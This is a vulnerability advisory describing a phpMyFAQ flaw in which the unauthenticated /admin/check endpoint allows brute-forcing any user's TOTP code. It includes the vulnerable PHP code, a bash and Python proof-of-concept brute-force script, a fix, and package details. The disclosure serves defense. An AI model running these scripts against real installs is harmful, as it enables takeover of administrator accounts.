phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id
Summary
The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.
The controller class declaration:
final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck
The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.
The check action (line 201-228):
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);
$user = $this->currentUserService;
$user->getUserById($userId);
if (strlen((string) $token) === 6) {
$tfa = $this->twoFactor;
$result = $tfa->validateToken($token, $userId);
if ($result) {
$user->twoFactorSuccess();
$this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
return new RedirectResponse(url: './');
}
$this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
}
return new RedirectResponse('./token?user-id=' . $userId);
}
Problems:
- No session binding: The endpoint accepts
user-idfrom the POST body. It does not verify that the caller previously authenticated with a password for that user. - No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
- Unauthenticated access: The
SkipsAuthenticationCheckmarker exempts the entire controller from auth enforcement.
The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.
Proof of Concept
# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1
# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.
for code in $(seq -w 000000 999999); do
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
-X POST "${TARGET_HOST}/admin/check" \
-d "token=${code}&user-id=${USER_ID}")
# A successful 2FA grants a session and redirects to ./
# A failure redirects to ./token?user-id=1
if echo "$RESPONSE" | grep -qv "token?user-id="; then
echo "[+] Valid TOTP: ${code}"
break
fi
done
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor
TARGET = "http://target.example/admin/check"
USER_ID = 1
def try_code(code):
r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
location = r.headers.get("Location", "")
if "token?user-id=" not in location:
return code
return None
with ThreadPoolExecutor(max_workers=50) as pool:
for result in pool.map(try_code, range(1000000)):
if result is not None:
print(f"[+] Valid TOTP: {result:06d}")
break
Impact
Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1)
CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)
Recommended Fix
-
Bind the 2FA step to a password-verified session: Store a flag in the server-side session during
authenticate()indicating the user passed password auth. Thecheckaction must verify this flag before accepting TOTP attempts. -
Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.
-
Narrow the SkipsAuthenticationCheck scope: Move the
/checkand/tokenroutes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.
Example session-binding fix in check():
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
$userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);
// Require that the session proves password auth for this specific user
if ($this->session->get('2fa_pending_user_id') !== $userId) {
return new RedirectResponse(url: './login');
}
// ... existing TOTP validation ...
}
And in authenticate(), after successful password check:
$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());
Found by aisafe.io
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | phpmyfaq/phpmyfaq | < 4.1.2 | 4.1.2 |
| Composer package | thorsten/phpmyfaq | < 4.1.2 | 4.1.2 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-307- Platform
- Composer
- Package
phpmyfaq/phpmyfaq, thorsten/phpmyfaq- Disclosed
- 06.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9pq7-mfwh-xx2j - CC BY 4.0
Vulnerability history: phpmyfaq/phpmyfaq
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 47
- First → latest
- 10.2022 09.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 18
- Medium 25
- Low 2
Disclosures per year
- 2022: 1
- 2023: 0
- 2024: 11
- 2025: 3
- 2026: 32
-
phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.